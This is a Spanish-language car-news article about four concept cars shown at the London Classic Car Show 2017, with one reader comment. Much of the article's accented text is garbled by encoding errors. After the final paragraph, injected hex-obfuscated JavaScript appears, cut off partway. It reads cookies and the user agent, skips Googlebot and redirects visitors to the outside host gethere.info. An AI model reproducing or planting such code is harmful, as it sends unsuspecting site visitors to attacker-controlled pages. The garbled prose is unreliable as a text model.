London Classic Car Show 2017: pA?ker de concepts

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Vauxhall SRV credit James Lipman
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Aston Martin Atom credit Simon Clay

Un cuarteto de concept cars serA? una mA?s de las atracciones que propone el London Classic Car Show, que abrirA? sus puertas este 23 de febrero y las cerrarA? el prA?ximo domingo 26.

En esta temporada alta europeo de eventos bajo techo, la cita londinense presume de reunir mA?s de 70 aAi??os de historia condensada en estos cuatro conceptos. El mA?s antiguo de ellos es el Aston Martin Atom, uno de los primeros concept cars funcional, mientras que el mA?s actual es el Jaguar C-X75 que fue presentado en el SalA?n de ParAi??s del aAi??o 2010 y tuvo, mA?s recientemente, un papel protagA?nico en la A?ltima entrega de la saga James Bond, Spectre.

Jaguar C-X75 credit Jaguar Land Rover

Puede que los dos restantes prototipos provengan de marcas generalistas -Vauxhall y Peugeot- pero no por eso son menos extremos. O lo fueron en su momento. Nacido en el aAi??o 1970, el bajAi??simo Vauxhall SRV no ha perdido ninguno de sus encantos casi medio siglo despuAi??s, mientras que el Peugeot Oxia, que la marca declaraba capaz de superar los 340 km/h, fue uno de los protagonistas de una Ai??poca rica en proyectos de este tipo de la casa del leA?n rampante.

Los concepts cars son algo tradicional en los Salones de AutomA?viles, pero no es tan comA?n poder reunir a cuatro de ellos en un evento de este tipo y mirarlos, ya no como una apuesta de futuro, sino por lo que representaron en el pasado y todo lo que tomaron de ellos autos que tambiAi??n ya son clA?sicos.

Aston Martin Atom interior credit Simon Clay

Concebido por Claude Hill bajo la supervisiA?n de Gordon Sutherland, el Aston Martin Atom fue presentado poco tiempo antes del comienzo de la Segunda Guerra Mundial y proponAi??a ideas muy avanzadas para la Ai??poca, con soluciones aeronA?uticas tanto en el interior como en sus lAi??neas externas. El auto, realizado por completo en aluminio, y movido por un cuatro cilindros de 1.970 cc, le impresionA? tan gratamente a David Brown que, despuAi??s de una breve prueba de manejo, decidiA? comprar la marca Aston Martin.

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Vauxhall SRV interior credit James Lipman

El Vauxhall SRV (Styling Research Vehicle) fue desarrollado con el Earls Court Motor Show londinense de 1970 como meta de presentaciA?n y estaba influenciado por los autos que competAi??an en Le Mans en la Ai??poca. Con el SRV, General Motors nunca tuvo la intenciA?n de crear un vehAi??culo que pudiera rodar, lo que significA? que Wayne Cherry y todo su equipo de diseAi??adores nunca se tuvieron que preocupar por consideraciones prA?cticas. De allAi?? su largo fuera de lo comA?n, las puertas tipo ala de gaviota, la secciA?n de spoilers en la parte delantera -teA?ricamente ajustables en movimiento- y el interior de nave espacial con decenas de switches e instrumentos.

Peugeot Oxia interior credit Peugeot

Peugeot Oxia credit Peugeot

Igualmente llamativo es el Oxia construido a un costo altAi??simo (se hablaba de 8 millones de francos en su Ai??poca). Aunque estAi??ticamente tenAi??a familiaridad con los productos de Peugeot de los aAi??os ochenta, ofrecAi??a unas prestaciones fuera de Ai??poca: 670 caballos y 347 km/h de mA?xima a partir de un propulsor 6 cilindros en V turboalimentado de 2.899 cc, similar al motor que equipaba al prototipo WM P88 de Le Mans. Toda esa potencia era puesta al piso por un sistema de tracciA?n integral, diferenciales delantero y trasero con control electrA?nico y cuatro ruedas directrices. En el interior, lo A?ltimo en tecnologAi??a en su Ai??poca, incluyendo un lector de CD y un radio telAi??fono…

390237_C-X75_STUDIO_06

Jaguar C-X75 interior credit Jaguar Land Rover

El cuarto auto que estarA? en exhibiciA?n en el espacio de eventos ExCeL es el Jaguar C-X75, un concept que naciA? en el momento equivocado, en medio de una crisis econA?mica mundial. Como resultado de esto, apenas cinco ejemplares de este superdeportivo hAi??brido de 850 caballos se terminaron antes de que el proyecto fuera archivado. El C-X75 volviA? a retomar protagonismo en el 2015, cuando una reproducciA?n de este (idAi??ntico visualmente pero sin el motor derivado del F1 original) apareciA? protagonizando el film de James Bond, Spectre.

El primer London Classic Car Show se organizA? en 2015 y en la ediciA?n 2016 tuvo 33.000 visitantes, cifra que los organizadores esperan superar en esta oportunidadAi??con distintos homenajes y muestras temA?ticas como Ai??sta, de los cuatro concept cars.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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1 Comentario, RSS

  1. DiegoCarrozza 21/02/2017 @ 4:54 pm

    Una pena que el CX-75 no haya llegado a producirse. Hermoso auto. Con una mecánica más acorde a nuestros días, y no con esas turbinas del concept, hubiese sido un digno sucesor de otra belleza como el XJ-220.

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